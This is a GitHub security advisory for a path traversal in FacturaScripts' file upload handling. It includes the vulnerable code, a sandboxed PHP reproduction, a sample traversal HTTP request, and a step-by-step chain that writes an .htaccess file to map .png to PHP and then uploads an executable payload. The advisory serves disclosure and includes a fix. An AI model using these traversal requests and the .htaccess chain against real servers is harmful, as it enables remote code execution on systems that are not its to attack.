GHSA-HGJX-R89M-M7V4
Vulnerability from github – Published: 2026-07-14 20:52 – Updated: 2026-07-14 20:52Summary
FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location.
Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution.
Vulnerable Code
Core/UploadedFile.php:
private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];
public function move(string $destiny, string $destinyName): bool
{
if (!$this->isValid()) {
return false;
}
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$destiny .= DIRECTORY_SEPARATOR;
}
return $this->test ?
rename($this->tmp_name, $destiny . $destinyName) :
move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}
public function getClientOriginalName(): string
{
return $this->name ?? '';
}
isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file() — it never inspects the filename for directory separators or .. segments.
Six call sites pass the raw client filename straight into move():
Core/Controller/ApiUploadFiles.php:58—POST /api/3/uploadfilesCore/Controller/ApiAttachedFiles.php:136—POST /api/3/attachedfilesCore/Lib/Widget/WidgetFile.php:84— every form using a file widgetCore/Lib/Widget/WidgetLibrary.php:215— library widget uploadCore/Lib/ExtendedController/DocFilesTrait.php:51— document files traitCore/Controller/AdminPlugins.php:260— plugin (zip) upload
Representative sink — Core/Controller/ApiUploadFiles.php:56-79:
private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
if (false === $uploadFile->isValid()) {
return null;
}
$destiny = FS_FOLDER . '/MyFiles/';
$destinyName = $uploadFile->getClientOriginalName();
if (file_exists($destiny . $destinyName)) {
$destinyName = mt_rand(1, 999999) . '_' . $destinyName;
}
if ($uploadFile->move($destiny, $destinyName)) {
...
}
}
Shipped htaccess-sample (production Apache rules):
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
RewriteCond %{REQUEST_URI} !node_modules/ [NC]
RewriteRule . index.php [L]
</IfModule>
Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.
PoC
Step 1 — Static reproduction of the file-write primitive
The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.
<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');
$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");
function fs_move($tmp_name, $destiny, $destinyName) {
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$destiny .= DIRECTORY_SEPARATOR;
}
return rename($tmp_name, $destiny . $destinyName);
}
fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');
echo file_exists($base . '/Dinamic/Assets/traversed.txt')
? "WRITTEN OUTSIDE MyFiles\n"
: "blocked\n";
Output:
WRITTEN OUTSIDE MyFiles
Step 2 — Equivalent live HTTP request
POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X
-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain
static-verification-marker
-----X--
After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the index.php rewrite.
Step 3 — Chain to code execution
Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:
- Upload with filename
../Dinamic/Assets/.htaccessand bodyAddType application/x-httpd-php .png - Upload with filename
../Dinamic/Assets/x.pngcontaining a PHP payload (extensionpngis not blocked, content is not validated byisValid()) - Request
https://target/Dinamic/Assets/x.png— Apache hands it to the PHP handler per the uploaded.htaccess
Root Cause
UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.
Impact
Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:
- Write arbitrary content to any path under the application root that is writable by the web-server user, including
Dinamic/Assets/(Apache-direct-served) andnode_modules/. - Overwrite shipped JS/CSS inside
Dinamic/Assets/, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load. - Drop a
.htaccessintoDinamic/Assets/remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.
The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.
Fix
Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:
public function move(string $destiny, string $destinyName): bool
{
if (!$this->isValid()) {
return false;
}
// strip any directory component from the client-supplied filename
$destinyName = basename($destinyName);
if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
$destiny .= DIRECTORY_SEPARATOR;
}
return $this->test ?
rename($this->tmp_name, $destiny . $destinyName) :
move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}
Apply the same change in moveTo().
Recommended hardening in addition:
- Add
htaccess,htm,html,shtml,phtmtoBLOCKED_EXTENSIONS, or replace the blocklist with an allowlist resolved per call site. - After concatenating the final destination, verify with
realpath()that the result is still inside the intended base directory; abort otherwise. - Drop a
Deny from all.htaccess(or equivalent web-server rule) intoMyFiles/so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforcesMyFilesToken).
Status
Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "facturascripts/facturascripts"
},
"ranges": [
{
"events": [
{
"introduced": "2025"
},
{
"last_affected": "2026.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T20:52:00Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n`FacturaScripts\\Core\\UploadedFile::move($destiny, $destinyName)` concatenates `$destiny` and `$destinyName` without normalizing the resulting path. Every caller in the codebase passes `UploadedFile::getClientOriginalName()` \u2014 the unsanitized client-supplied filename \u2014 as `$destinyName`, so an authenticated user submitting a filename containing `../` segments can write the uploaded content to any directory writable by the web-server user, escaping the intended `MyFiles/` location.\n\nBecause the shipped `htaccess-sample` (the documented production Apache configuration) excludes `Dinamic/Assets/` and `node_modules/` from the `index.php` rewrite, files written into those directories are served directly by Apache. Combined with `.htaccess` not being in `BLOCKED_EXTENSIONS`, the primitive escalates from arbitrary file write to remote code execution.\n\n## Vulnerable Code\n\n`Core/UploadedFile.php`:\n\n```php\nprivate const BLOCKED_EXTENSIONS = [\u0027phar\u0027, \u0027php\u0027, \u0027php3\u0027, \u0027php4\u0027, \u0027php5\u0027, \u0027php7\u0027, \u0027php8\u0027, \u0027pht\u0027, \u0027phtml\u0027, \u0027phps\u0027];\n\npublic function move(string $destiny, string $destinyName): bool\n{\n if (!$this-\u003eisValid()) {\n return false;\n }\n if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n $destiny .= DIRECTORY_SEPARATOR;\n }\n return $this-\u003etest ?\n rename($this-\u003etmp_name, $destiny . $destinyName) :\n move_uploaded_file($this-\u003etmp_name, $destiny . $destinyName);\n}\n\npublic function getClientOriginalName(): string\n{\n return $this-\u003ename ?? \u0027\u0027;\n}\n```\n\n`isValid()` only checks the extension blocklist, the upload error code, and `is_uploaded_file()` \u2014 it never inspects the filename for directory separators or `..` segments.\n\nSix call sites pass the raw client filename straight into `move()`:\n\n- `Core/Controller/ApiUploadFiles.php:58` \u2014 `POST /api/3/uploadfiles`\n- `Core/Controller/ApiAttachedFiles.php:136` \u2014 `POST /api/3/attachedfiles`\n- `Core/Lib/Widget/WidgetFile.php:84` \u2014 every form using a file widget\n- `Core/Lib/Widget/WidgetLibrary.php:215` \u2014 library widget upload\n- `Core/Lib/ExtendedController/DocFilesTrait.php:51` \u2014 document files trait\n- `Core/Controller/AdminPlugins.php:260` \u2014 plugin (zip) upload\n\nRepresentative sink \u2014 `Core/Controller/ApiUploadFiles.php:56-79`:\n\n```php\nprivate function uploadFile(UploadedFile $uploadFile): ?AttachedFile\n{\n if (false === $uploadFile-\u003eisValid()) {\n return null;\n }\n $destiny = FS_FOLDER . \u0027/MyFiles/\u0027;\n $destinyName = $uploadFile-\u003egetClientOriginalName();\n if (file_exists($destiny . $destinyName)) {\n $destinyName = mt_rand(1, 999999) . \u0027_\u0027 . $destinyName;\n }\n if ($uploadFile-\u003emove($destiny, $destinyName)) {\n ...\n }\n}\n```\n\nShipped `htaccess-sample` (production Apache rules):\n\n```apache\n\u003cIfModule mod_rewrite.c\u003e\n RewriteEngine On\n RewriteBase /\n RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]\n RewriteCond %{REQUEST_URI} !node_modules/ [NC]\n RewriteRule . index.php [L]\n\u003c/IfModule\u003e\n```\n\nApache therefore serves any file under `Dinamic/Assets/` directly, bypassing `index.php` entirely.\n\n## PoC\n\n### Step 1 \u2014 Static reproduction of the file-write primitive\n\nThe following script replicates `UploadedFile::move()`\u0027s `rename()` path verbatim inside a sandboxed temp directory. It does not run any payload \u2014 it only demonstrates that the destination escapes `MyFiles/` when the filename contains `../`.\n\n```php\n\u003c?php\n$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . \u0027fs_verify_\u0027 . uniqid();\nmkdir($base);\nmkdir($base . \u0027/MyFiles\u0027);\nmkdir($base . \u0027/Dinamic\u0027);\nmkdir($base . \u0027/Dinamic/Assets\u0027);\n\n$tmp = $base . \u0027/tmp_upload.dat\u0027;\nfile_put_contents($tmp, \"static-verification-marker\\n\");\n\nfunction fs_move($tmp_name, $destiny, $destinyName) {\n if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n $destiny .= DIRECTORY_SEPARATOR;\n }\n return rename($tmp_name, $destiny . $destinyName);\n}\n\nfs_move($tmp, $base . \u0027/MyFiles\u0027, \u0027../Dinamic/Assets/traversed.txt\u0027);\n\necho file_exists($base . \u0027/Dinamic/Assets/traversed.txt\u0027)\n ? \"WRITTEN OUTSIDE MyFiles\\n\"\n : \"blocked\\n\";\n```\n\nOutput:\n\n```\nWRITTEN OUTSIDE MyFiles\n```\n\n### Step 2 \u2014 Equivalent live HTTP request\n\n```http\nPOST /api/3/uploadfiles HTTP/1.1\nHost: target\nToken: \u003cvalid-api-token\u003e\nContent-Type: multipart/form-data; boundary=---X\n\n-----X\nContent-Disposition: form-data; name=\"files[]\"; filename=\"../Dinamic/Assets/traversed.txt\"\nContent-Type: text/plain\n\nstatic-verification-marker\n-----X--\n```\n\nAfter the request, `Dinamic/Assets/traversed.txt` exists on disk and is reachable at `https://target/Dinamic/Assets/traversed.txt` \u2014 Apache serves it directly because the path is excluded from the `index.php` rewrite.\n\n### Step 3 \u2014 Chain to code execution\n\nBecause `.htaccess` is not in `BLOCKED_EXTENSIONS`, the same primitive can write an Apache override into `Dinamic/Assets/`:\n\n1. Upload with filename `../Dinamic/Assets/.htaccess` and body `AddType application/x-httpd-php .png`\n2. Upload with filename `../Dinamic/Assets/x.png` containing a PHP payload (extension `png` is not blocked, content is not validated by `isValid()`)\n3. Request `https://target/Dinamic/Assets/x.png` \u2014 Apache hands it to the PHP handler per the uploaded `.htaccess`\n\n## Root Cause\n\n`UploadedFile::move()` performs raw `$destiny . $destinyName` concatenation and trusts `getClientOriginalName()`, which returns `$this-\u003ename ?? \u0027\u0027` with no normalization. No call site applies `basename()` or any equivalent before passing the client filename to `move()`. The blocklist in `BLOCKED_EXTENSIONS` covers only PHP-family extensions and does not cover `htaccess`, which is required for the rewrite-excluded directory to be useful for code execution.\n\n## Impact\n\nAuthenticated attacker (any role with permission to call one of the six upload entry points \u2014 including any user allowed to attach a file to a record, or any API token with `uploadfiles`/`attachedfiles` access) can:\n\n- Write arbitrary content to any path under the application root that is writable by the web-server user, including `Dinamic/Assets/` (Apache-direct-served) and `node_modules/`.\n- Overwrite shipped JS/CSS inside `Dinamic/Assets/`, injecting client-side script that executes in every administrator\u0027s browser \u2192 session takeover on next admin page load.\n- Drop a `.htaccess` into `Dinamic/Assets/` remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload \u2014 full remote code execution as the web-server user.\n\nThe required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.\n\n## Fix\n\nMinimal fix \u2014 sanitize inside `UploadedFile::move()` so every call site is covered automatically:\n\n```php\npublic function move(string $destiny, string $destinyName): bool\n{\n if (!$this-\u003eisValid()) {\n return false;\n }\n // strip any directory component from the client-supplied filename\n $destinyName = basename($destinyName);\n if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {\n $destiny .= DIRECTORY_SEPARATOR;\n }\n return $this-\u003etest ?\n rename($this-\u003etmp_name, $destiny . $destinyName) :\n move_uploaded_file($this-\u003etmp_name, $destiny . $destinyName);\n}\n```\n\nApply the same change in `moveTo()`.\n\nRecommended hardening in addition:\n\n- Add `htaccess`, `htm`, `html`, `shtml`, `phtm` to `BLOCKED_EXTENSIONS`, or replace the blocklist with an allowlist resolved per call site.\n- After concatenating the final destination, verify with `realpath()` that the result is still inside the intended base directory; abort otherwise.\n- Drop a `Deny from all` `.htaccess` (or equivalent web-server rule) into `MyFiles/` so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces `MyFilesToken`).\n\n## Status\n\nReported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.",
"id": "GHSA-hgjx-r89m-m7v4",
"modified": "2026-07-14T20:52:00Z",
"published": "2026-07-14T20:52:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-hgjx-r89m-m7v4"
},
{
"type": "PACKAGE",
"url": "https://github.com/NeoRazorX/facturascripts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() \u2014 arbitrary file write outside MyFiles/ leading to RCE"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.